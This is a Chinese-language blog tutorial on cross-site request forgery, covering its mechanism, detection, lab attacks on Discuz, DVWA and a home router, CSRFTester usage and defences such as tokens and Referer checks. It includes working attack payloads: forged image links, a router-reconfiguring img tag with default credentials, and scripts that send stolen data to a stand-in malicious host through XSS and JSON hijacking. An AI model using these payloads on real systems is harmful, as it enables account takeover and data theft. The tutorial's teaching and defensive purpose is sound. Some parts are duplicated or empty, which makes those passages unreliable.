CSRF 攻击

CSRF

  CSRF 是 Web 应用程序的一种常见漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在 大量 Web 2.0 技术的应用背景下,攻击者完全可以在用户毫无察觉的情况下发起 CSRF 攻击。 本文将对其基本特性、攻击原理、攻击分类、检测方法及防范手段做一个系统的阐述,并列 举攻击实例。

1.1.1 CSRF漏洞简介

  CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击 可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的 情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解 CSRF 攻 击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法 的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的 账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
  CSRF 攻击方式并不为大家所熟知,实际上很多网站都存在 CSRF 的安全漏洞。早在 2000 年,CSRF 这种攻击方式已经由国外的安全人员提出,但在国内,直到 2006 年才开始被关注。 2008 年,国内外多个大型社区和交互网站先后爆出 CSRF 漏洞,如:百度 HI、NYTimes.com (纽约时报)、Metafilter(一个大型的 BLOG 网站)和 YouTube 等。但直到现在,互联网上 的许多站点仍对此毫无防备,以至于安全业界称 CSRF 为“沉睡的巨人”,其威胁程度由此“美 誉”便可见一斑。

1.1.2 CSRF攻击原理及实例

  当我们打开网站或者登陆某个网站后,就会产生一个会话(这里指用户登陆后),这个会 话可能是 SESSION,Cookie 控制,但是这是无关紧要的。唯一的重点是浏览器与服务器之间 是在会话之中,在这个会话没有结束时候,你可以利用你的权限对网站进行操作,如进行发 表文章,发邮件,删除文章等操作。当这个会话结束后,你在进行某些操作时候 Web 应用程 序通常会来提醒你,您的会话已过期,或者是请重新登陆等提示。
  当我们打开网站或者登陆某个网站后,就会产生一个会话(这里指用户登陆后),这个会 话可能是 SESSION,Cookie 控制,但是这是无关紧要的。唯一的重点是浏览器与服务器之间 是在会话之中,在这个会话没有结束时候,你可以利用你的权限对网站进行操作,如进行发 表文章,发邮件,删除文章等操作。当这个会话结束后,你在进行某些操作时候 Web 应用程 序通常会来提醒你,您的会话已过期,或者是请重新登陆等提示。
  而 CSRF 攻击则是建立会话之上的攻击。比如当你登陆了网上银行,正在进行转账业务, 这时你的某个 QQ 好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业  www.oldboyedu.com 务代码。而且与你所登录的网站是同一个银行,你可能认为这个网站是安全的,并不是什么 钓鱼网站之类的,然后打开了这条 URL,那么你的账户的钱可能就在你的这一次小小点击上 全部丢失。
  怎么可能这么神奇呢?其实这并不神奇。主要是因为你的浏览器正处于与此网站的会话 之中,那么一些操作都是合法的,而入侵者构造的这段代码只不过是正常的转账操作代码而 已。比如说你想给用户 spisec 转账 1000 元,那么点击提交按钮之后,可能会发送以下请求:
        http://www.taobao.com/pay.jsp?user=spisec&money=1000
  而攻击者仅仅是改变一下 user 参数与 money 参数即可完成一次“合法”的攻击,如:
        http://www.taobao.com/pay.jsp?user=hack&money=10000
  当你访问了这条 URL 之后,就会自动向 hack 这个账户里面转入 10000 元。而这是你亲 手造成的,并没因为有人去破解你的密码或者是 Web 服务器被入侵所导致的你的金钱丢失。 下面以 CSRF 攻击原理图给大家形象总结:
  ![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200728100424897-493307199.png)
        1. 用户 C 打开浏览器,访问受信任网站 A,输入用户名和密码请求登录网站 A; 
        2.在用户信息通过验证后,网站 A 产生 Cookie 信息并返回给浏览器,此时用户登录网 站 A 成功,可以正常发送请求到网站 A; 
        3. 用户未退出网站 A 之前,在同一浏览器中,打开一个 TAB 页访问网站 B; 
        4. 网站 B 接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方 站点 A; 
        5. 浏览器在接收到这些攻击性代码后,根据网站 B 的请求,在用户不知情的情况下携 带 Cookie 信息,向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的,所以会根 据用户 C 的 Cookie 信息以 C 的权限处理该请求,导致来自网站 B 的恶意代码被执行。
  

  通过以上的攻击原理描述个人总结 CSRF 两个侧重点:
        1、CSRF 的攻击建立在浏览器与 Web 服务器的会话之中。 
        2、欺骗用户访问 URL

1.1.3 CSRF攻击分类

  CSRF 漏洞一般分为站外和站内两种类型。
        CSRF 站外类型的漏洞本质上就是传统意义上的外部提交数据问题。通常程序员会考虑 给一些留言或者评论的表单加上水印以防止 SPAM 问题(这里,SPAM 可以简单的理解为垃圾 留言、垃圾评论,或者是带有站外链接的恶意回复),但是有时为了提高用户的体验性,可 能没有对一些操作做任何限制,所以攻击者可以事先预测并设置请求的参数,在站外的 Web 页面里编写脚本伪造文件请求,或者和自动提交的表单一起使用来实现 GET、POST 请求,当 用户在会话状态下点击链接访问站外 Web 页面,客户端就被强迫发起请求。
        CSRF 站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST 类变量造成的。在一些 敏感的操作中(如修改密码、添加用户等),本来要求用户从表单提交发起 POST 请求传递参 数给程序,但是由于使用了$_REQUEST 等变量,程序除支持接收 POST 请求传递的参数外也 支持接收 GET 请求传递的参数,这样就会为攻击者使用 CSRF 攻击创造条件。一般攻击者只 要把预测的请求参数放在站内一个贴子或者留言的图片链接里,受害者浏览了这样的页面就 会被强迫发起这些请求。

1.1.4 CSRF 漏洞检测

  检测 CSRF 漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包, 去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。 随着对 CSRF 漏洞研究的不断深入,不断涌现出一些专门针对 CSRF 漏洞进行检测的工具,如 CSRFTester,CSRF Request Builder 等。以 CSRFTester 工具为例,CSRF 漏洞检测工具的测 试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链 接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交, 这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。

1.1.5 CSRF 实例

1.1.5.1 CSRF 快速拖库案例

  ‘拖库’本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天, 它被用来指网站遭到入侵后,黑客窃取其数据库。
  网站数据库被拖,直接导致用户信息泄露,造成的危害很大,比如:CSDN 明文密码泄 露事件、小米 800W 用户信息泄露事件等等。他所造成的危害极高,直接影响网站用户数据 (包括金钱、个人信息等)
   首先,我们先登录一下 discuz 的后台,模拟管理员进行周期性的数据库备份。如图


备份完之后的数据库备份

也就是在 http://127.0.0.1/upload/uc_server/data/backup/backup_150204_hsEI77/ 这个目录下 150204_5CcUZd-1.sql 文件。 然后,我们将数据库备份删除掉。现在,backup 这个目录下没有任何备份。

   其次我们换个浏览器,注册一个新普通用户,如:


接着,我们模拟正常用户发帖

注意: 发帖时,一定要添加一个网络图片,链接设置为: http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa
我们再使用原来有管理员登陆的浏览器访问这个帖子(在访问论坛这个帖子之前,刷新 一下后台页面,保证没有因为长时间未操作而引起登陆会话超时造成实验失败)。

访问之后,我们只看到了一张没有正常显示的图片,并没有其他的问题。 我们之前在 模拟管理员进行数据库备份的时候,已经把备份好的数据拷走并删除掉,backup 这个文件 夹里面是空的。现在让我们来看一下这个文件夹,是不是像图 7 里面一样呢?

最后,我们可以访问这个链接,将我们拖下来的数据库下载到本地。

  案例总结分析:
        打开 chrome 浏览器,然后按一下键盘上的 F12,然后访问那张图片的链接,接着点击 network 这个按钮,然后我们可以找到这张的请求。

        1、网页加载图片的 URL,前面已经说过,就是管理员在数据备份时所访问的 URL,由于不是 正常的图片格式,所以不能正常解析。 
        2、虽然图片不能正常解析,但是浏览器还是回去访问一下这个 URL,由于当前账户是管理 员,有数据库备份的操作权限,且数据在传输到服务端,服务端根据请求的 URL、参数、动 作进行了处理,从而造成了数据库被拖。 
        3、很明显,攻击者在我们不知情的情况下盗用了我们的身份,来完成他们想要做的事情。

1.1.5.2 CSRF 修改密码案例

  访问 DVWA 如下地址就可以直接修改密码:
        http://192.168.1.55:8080/dvwa/vulnerabilities/csrf/?password_new=123&passwo rd_conf=123&Change=Change
  通过以上链接地址在不关闭此浏览器选项卡的情况下,打开新窗口页面(保持 cookie 可 用),就可以完成密码修改。

  漏洞代码如下:
<?php 
      if (isset($_GET['Change'])) { 
            // Turn requests into variables 
            $pass_new = $_GET['password_new']; 
            $pass_conf = $_GET['password_conf']; 
            if (($pass_new == $pass_conf))
                  $pass_new = mysql_real_escape_string($pass_new); 
                  $pass_new = md5($pass_new);
                  $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
                  $result=mysql_query($insert) or die('<pre>' . mysql_error() .'</pre>' );
                  echo "<pre> Password Changed </pre>"; 
                  mysql_close();
                  }
                  else{ echo "<pre> Passwords did not match. </pre>"; 
            }
      }
?>
  漏洞代码分析: 
        没有判断原来的密码,直接两次输入的密码相同就修改原来的密码,这不是今天的重点, 避免 CSRF 是不是应该判断下请求的来源。接下来看 Referer 判断请求来源下面这段代码:
<?php 
      if (isset($_GET['Change'])) { 
            // Checks the http referer header 
            if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){ 
                  // Turn requests into variables 
                  $pass_new = $_GET['password_new']; 
                  $pass_conf = $_GET['password_conf']; 
                  if ($pass_new == $pass_conf){ 
                        $pass_new = mysql_real_escape_string($pass_new); 
                        $pass_new = md5($pass_new); 
                        $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
                        $result=mysql_query($insert) or die('<pre>' .mysql_error() . '</pre>' );
                        $html .= "<pre> Password Changed </pre>";
                        mysql_close();
                  }
                  else{
                        $html .= "<pre> Passwords did not match.</pre>";
                  }
            }
      }
?>
  这里开始判断请求来源了,也就是$_SERVER['HTTP_REFERER'] ,eregi 是判断是否存在某 字符的函数如果存在 127.0.0.1 就执行下面的:


  下面我们来看看 DVWA 是如何防范 CSRF 修改密码:
<?php 
      if (isset($_GET['Change'])) { 
            // Turn requests into variables 
            $pass_curr = $_GET['password_current']; 
            $pass_new = $_GET['password_new']; 
            $pass_conf = $_GET['password_conf'];
            // Sanitise current password input 
            $pass_curr = stripslashes( $pass_curr ); 
            $pass_curr = mysql_real_escape_string( $pass_curr ); 
            $pass_curr = md5( $pass_curr );
            // Check that the current password is correct
            $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
            $result = mysql_query($qry) or die('<pre>' . mysql_error() .'</pre>' );
            if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
                  $pass_new = mysql_real_escape_string($pass_new);
                  $pass_new = md5($pass_new);
                  $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
                  $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
                  $html .= "<pre> Password Changed </pre>";
                  mysql_close();
            }
            else {
                  $html .= "<pre> Passwords did not match or current password incorrect. </pre>";
            }
      }
?>
  直接判断旧密码是否正确了,这样在不知用户原有密码的情况下,不管是否存在 CSRF, 你都是无效的。

1.1.5.3 本地网络设备 CSRF 攻击

  ![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200728133650735-26224166.png)

在登录状态,被攻击者访问了带有 CSRF 攻击代码的网页时,就“被迫”开启了“远 程 WEB 管理”功能。

  CSRF 攻击代码如下:
        <img src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save= %B1%A3+%B4%E6>
        使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。 
        FAST 无线宽带路由器的 WEB 管理的默认用户名与密码:admin。

1.1.5.4 CSRF 无需浏览器案例

1.1.5.5 CSRF 半自动化测试工具案例

  OWASP CSRFTester 是 OWASP 推出的 CSRF 半自动化软件,他省去了 CSRF 最繁琐的过程, 代码构造。下面是软件的截图


这款软件是由 java 编写的,所以在运行软件之前需要事先安装 java 环境,cmd 窗口是 告诉我们此时软件正在监听 8008 端口。软件的大致介绍就到这,后文我将进一步的说明。
这里我选择了“XYCMS 中心小学建站系统”

我想细心的人已经发现了。他只要求你输入账号 密码 确认密码。没有发现验证码验证。 我们在浏览器里代理下 8008 端口(虽然网站是 809 端口,但是还是可以监听到数据,所以不 必在意网站是 809,软件监听的是 8008 的问题。因为在浏览器里任何数据都必须要经过 8008,网站虽说是 809 端口,但是数据还要转到 8008 端口)。然后用软件看下有没有 token 的存在 (你也可以用 burp、fiddler 等等)。
点击开始

  点击提交数据后,软件就会抓到数据包了。

  抓到数据包之后对当前数据包保存,记得把无用的信息删除掉:

  我们发现并没有找到 token 的值,那么我们就可以来实现 CSRF 攻击了。 
  看到下面的 Report Type 了么。这些是让你选择用什么方法来进行攻击。 
        Forms:创建一个 form 表单。内容为 hidden(隐藏),用户不可见(可 POST、GET) 
        iFrame:创建一个 iframe 框架,高宽为 0,用户不可见。(可 POST、GET) 
        IMG:创建一个 IMG 标签(只能 GET)。 
        XHR:创建一个 AJAX 请求(可 POST、GET) 
        Link:创建一个 a 标签的超链接(只能 GET) 
  OK,介绍完了。但是呢,这五个里,我只推荐第一个。原因有下: 
        第二个容易找不到对象(如果你是新手,对 JavaScript 不熟的话,不建议选择这个) 
        第三个只能发送 GET 请求,有限制。 
        第四个有跨域限制,有的浏览器不允许发送跨域请求,除非网站有设置。 
        第五个需要点击才能触发(当然可以修改为自动触发),还有一个是他也只能发送 GET 请求。
  Ok,我这时选择 forms 选项,他会生成一个 HTML 文件,而且会自动打开,如果不成功 不要灰心,这个软件不是特别的完整,有些地方需要改进。不成功的话就打开 HTML 改下源 码,参照浏览器的审查元素就行。

  点击 Generate HTML 来生成,生成好后,把生成的 index.html 放到网站目录下。诱使管 理员打开,管理员打开后,将会是这样:


成功了,我们在后台看下。

可以看到成功添加了。
我们可以把这个 index.html 放到自己服务器上,又是管理员打开,然后了管理员当时正 在后台,或则管理员的 session 没有过期,你可以在网站留言板里吧网址写上去。就可以完 成 CSRF 攻击了。
下面给大家讲解一下 burp 自带的 csrf 工具,我个人认为比 CSRFtester 更方便,如下图:

1.1.6 CSRF 蠕虫模型

  注: 
        同域内 CSRF 攻击获取数据几乎没任何限制。 
        跨域 CSRF 攻击获取数据的几种方法总结如下: 
              1、XSS
              2、服务端代理技术 
              3、JSON Hijacing 
              4、Flash AsctionScript(crossdomain.xml) 要获取的关键数据是唯一标识: 用户 id、用户昵称、用户 email、用户个人页面地址等。

  一、XSS 获取数据 
        使用目标站点上的 XSS 漏洞: 
        <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script src=http://恶意站点 /get.js></script>’></iframe> 
        http://恶意站点/get.js 的代码是: 
              //use DOM method to get your data 
              new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata; 
              恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点 url 对应的内容中的。

  二、使用 JSON Hijacking 
        使用 JSON Hijacking 技术: 
        目标站点使用了 JSON 数据传输用户私有数据。 
        该私有数据内包含我们需要的唯一标识等信息。 
        相关代码:
        
              <script> 
              function hijack(o){ 
              //use DOM method to get your data 
              new Image().src="http://192.168.1.2/JSONHiJack.asp?hi="+escape(data); }
              </script> 
              <script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>

  三、使用 FLASH 
        使用 Flash ActionScript 脚本: 
              目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS 脚本进行跨域请求。 
              <?xml version="1.0"?> 
              <cross-domain-policy> 
              <allow-access-from domain="*" /> 
              </cross-domain-policy> 
  相关代码: 
        import flash.net.*; 
        var _l = new URLLoader(new URLRequest(“http://目标站点/")); 
        _l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data}); 
        _l.load();

1.1.7 CSRF漏洞防御

  CSRF 漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备 的防御。

1.1.7.1 服务端的防御

  目前业界服务器端防御 CSRF 攻击主要有 5 种策略:
        验证 HTTP Referer 字段,
        在请求地 址中添加 token 并验证,
        在 HTTP 头中自定义属性并验证等。
  下面分别对 5 种策略进行简要 介绍。

1.1.7.1.1 验证 HTTP Referer 字段

  根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地 址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转 账是通过用户访问 http://bank.test/test?page=10&userID=101&money=10000 页面完成,用户 必须先登录 bank. test,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时, 该转账请求的 Referer 值就会是转账按钮所在页面的 URL(本例中,通常是以 bank. test 域名开头的地址)。而如果攻击者要对银行网站实施 CSRF 攻击,他只能在自己的网站构造请求, 当用户通过攻击者的网站发送请求到银行时,该请求的 Referer 是指向攻击者的网站。因此, 要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank. test 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其 他网站的话,就有可能是 CSRF 攻击,则拒绝该请求。

1.1.7.1.2 在请求地址中添加 token 并验证

  CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户 验证信息都存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用 户自己的 Cookie 来通过安全验证。由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻 击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。鉴于此,系统开发者可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请 求。

1.1.7.1.3 在 HTTP 头中自定义属性并验证

  自定义属性的方法也是使用 token 并进行验证,和前一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网 站。

1.1.7.1.4 在服务端区严格区分好POST与GET的数据请求

  如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久 性操作,如: http://www.yeeyan.com/space/deleteEvent/16824。

1.1.7.1.5 使用验证码或者密码确认方式进行

  这种方法很有效,但是用户体验就差了些。

1.1.7.2 用户端的防御

  对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户 养成良好的上网习惯,则能够很大程度上减少 CSRF 攻击的危害。例如,用户上网时,不要 轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长 时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接和 图片。除此之外,用户还需要在连接互联网的计算机上安装合适的安全防护软件,并及时更 新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。

1.1.7.3 安全设备的防御

  由于从漏洞的发现到补丁的发布需要一定的时间,而且相当比例的厂商对漏洞反应不 积极,再加之部分系统管理员对系统补丁的不够重视,这些都给了攻击者可乘之机。鉴于上 述各种情况,用户可以借助第三方的专业安全设备加强对 CSRF 漏洞的防御。 CSRF 攻击的本质是攻击者伪造了合法的身份,对系统进行访问。如果能够识别出访问 者的伪造身份,也就能识别 CSRF 攻击。研究发现,有些厂商的安全产品能基于硬件层面对 HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。图 11 展示了这种防御 方式的简图。目前 H3C 公司的 IPS 产品采用了特殊技术,支持对部分常用系统的 CSRF 漏洞 攻击进行检测和阻断。

posted @ 2020-07-28 14:12  Binb  阅读(548)  评论(0编辑  收藏  举报